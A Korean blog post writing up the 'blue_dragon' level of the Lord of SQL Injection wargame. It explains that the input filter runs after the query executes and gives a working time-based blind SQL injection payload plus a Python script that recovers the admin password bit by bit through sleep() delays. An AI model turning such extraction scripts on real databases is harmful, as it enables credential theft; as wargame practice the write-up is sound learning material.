Web Hacking/LOS

Lord of SQL Injection - blue_dragon

2021. 8. 29. 09:00

우리의 친구 백슬래시를 잃었다. 문자열 탈출을 어떻게 할까가 매우 고민이었다. 백슬래시를 우회할 방법은 없는 것 같다. 또한 든든한 지원군 싱글쿼터도 읽었다. 청룡의 공격에 큰 피해를 입었다.

 

그런데 가만히 코드를 보면 mysqli_fetch_array 함수를 실행한 '이후'에 싱글쿼터와 백슬래시를 필터링하여 "No Hack ~_~" 이라는 문자열을 출력하는 페이지로 exit 시키고 있다. 싱글쿼터나 백슬래시를 이용하는 방법으로는 'Hello admin"이라는 문자열을 볼 수 없겠지만, 시간 측정 함수도 풀려있는 마당에 "No Hack" 페이지로 exit 되기 전까지 sleep 함수로 응답 시간을 지연시킬 수 있을 것 같다.

 

한번 해보자. 우선 간단한 참값을 넣어보자.

 

 

?id=' or if(1,sleep(3),1)%23

sleep(3) 인데 무려 6초가 넘게 소요되었다. 일단 페이지 응답 시간이 지연되는 것은 잘 작동한다. 뭐 여기까지 확인하면 Time-Based SQL Injection 수행하면 된다.

 

import requests
import time

requests.packages.urllib3.disable_warnings()
org_url = "https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php"
header  = {'Cookie': 'PHPSESSID='}
session = requests.session()



# Check Length of PW
pw_length = 0
start     = 0
end       = 0

for i in range(0, 100):
    payload = "?id=' or if(id='admin' and length(pw)=" + str(i) + ",sleep(1),1)%23" 
    
    start = time.time()
    res   = session.get(url = org_url + payload, headers=header, verify=False)
    end   = time.time() - start
    
    if end > 1:
        pw_length = i
        print("Length of PW is [ %d ]\n" % i)
        break

        

# Check Bit_Length of PW & Brute Force
pw_bit_length = 0
password_bit  = ''
password      = ''

for i in range(1, pw_length + 1):
    for j in range(0, 20):
        payload = "?id=' or if(id='admin' and length(bin(ord(substr(pw," + str(i) + ",1))))=" + str(j) + ",sleep(1),1)%23"
        
        start = time.time() 
        res   = session.get(url = org_url + payload, headers=header, verify=False)
        end   = time.time() - start
        
        if end > 1:
            pw_bit_length = j
            print("[%d-th] Bit_Length of PW is [ %d ]" % (i, j))
        
            for k in range(1, j + 1):
                payload = "?id=' or if(id='admin' and substr(bin(ord(substr(pw," + str(i) + ",1)))," + str(k) + ",1)=1,sleep(1),1)%23"
                
                start = time.time() 
                res   = session.get(url = org_url + payload, headers=header, verify=False)
                end   = time.time() - start
                
                if end > 1:
                    password_bit += "1"
    
                else:
                    password_bit += "0"

            print(password_bit + "->" + chr(int(password_bit, 2)))
            password += chr(int(password_bit, 2))
            password_bit = ''
            break
                
                

# Result
print("\n\nRESULT\n------------------")
print("PW --> %s\n" % password)

저작자표시 (새창열림)

'Web Hacking > LOS' 카테고리의 다른 글

Lord of SQL Injection - phantom  (1) 2021.09.01
Lord of SQL Injection - red_dragon  (0) 2021.08.29
Lord of SQL Injection - evil_wizard  (0) 2021.08.26
Lord of SQL Injection - green_dragon  (0) 2021.08.26
Lord of SQL Injection - hell_fire  (0) 2021.08.26
'Web Hacking/LOS' 카테고리의 다른 글
  • Lord of SQL Injection - phantom
  • Lord of SQL Injection - red_dragon
  • Lord of SQL Injection - evil_wizard
  • Lord of SQL Injection - green_dragon
Lucvs
Lucvs
Department of Computer Science and Engineering, 21th, Sungkyunkwan University
Lucvs
Lucvs
Lucvs
전체
오늘
어제
  • 분류 전체보기
    • Lucvs
      • 훈련소 일기
      • 寿司
      • 영국 여행기
    • Pwnable
      • Techniques
      • FTZ
      • LOB
      • HackCTF
      • Dreamhack
      • pwnable.kr
      • CTF
    • Web Hacking
      • Techniques
      • Webhacking.kr
      • HackCTF
      • Dreamhack
      • LOS
    • Reversing
      • Dreamhack
    • Cryptography
      • Modern Cryptography
      • Algorithm
      • Differential Attack (차분 공격)
      • Linear Attack (선형 공격)
    • Forensic
      • Dreamhack
    • Programming
      • C
      • Python
      • Java
    • Deep Learning
    • Network
    • Project
    • Hardware
      • Raspberry Pi
      • Arduino

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • 기훈단
  • 웹해킹
  • 잉글랜드
  • 군대 일기
  • 훈련소 일기
  • Error-Based SQL Injection
  • 영국
  • Lord of SQL Injeciton
  • 런던
  • Web Hacking
  • dreamhack
  • blind sql injection
  • 차분 공격
  • 공군
  • 공군 훈련소
  • 효전화
  • lord of sql injection
  • 여행기
  • Differential Attack
  • J
  • rev-basic
  • 드림핵
  • 일기
  • 훈련소
  • dreamhack.io
  • Los
  • 군대
  • 기본군사훈련단
  • 차분 분석
  • SQL INJECTION

최근 댓글

최근 글

hELLO · Designed By 정상우.
Lucvs
Lord of SQL Injection - blue_dragon
상단으로

티스토리툴바

개인정보

  • 티스토리 홈
  • 포럼
  • 로그인

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.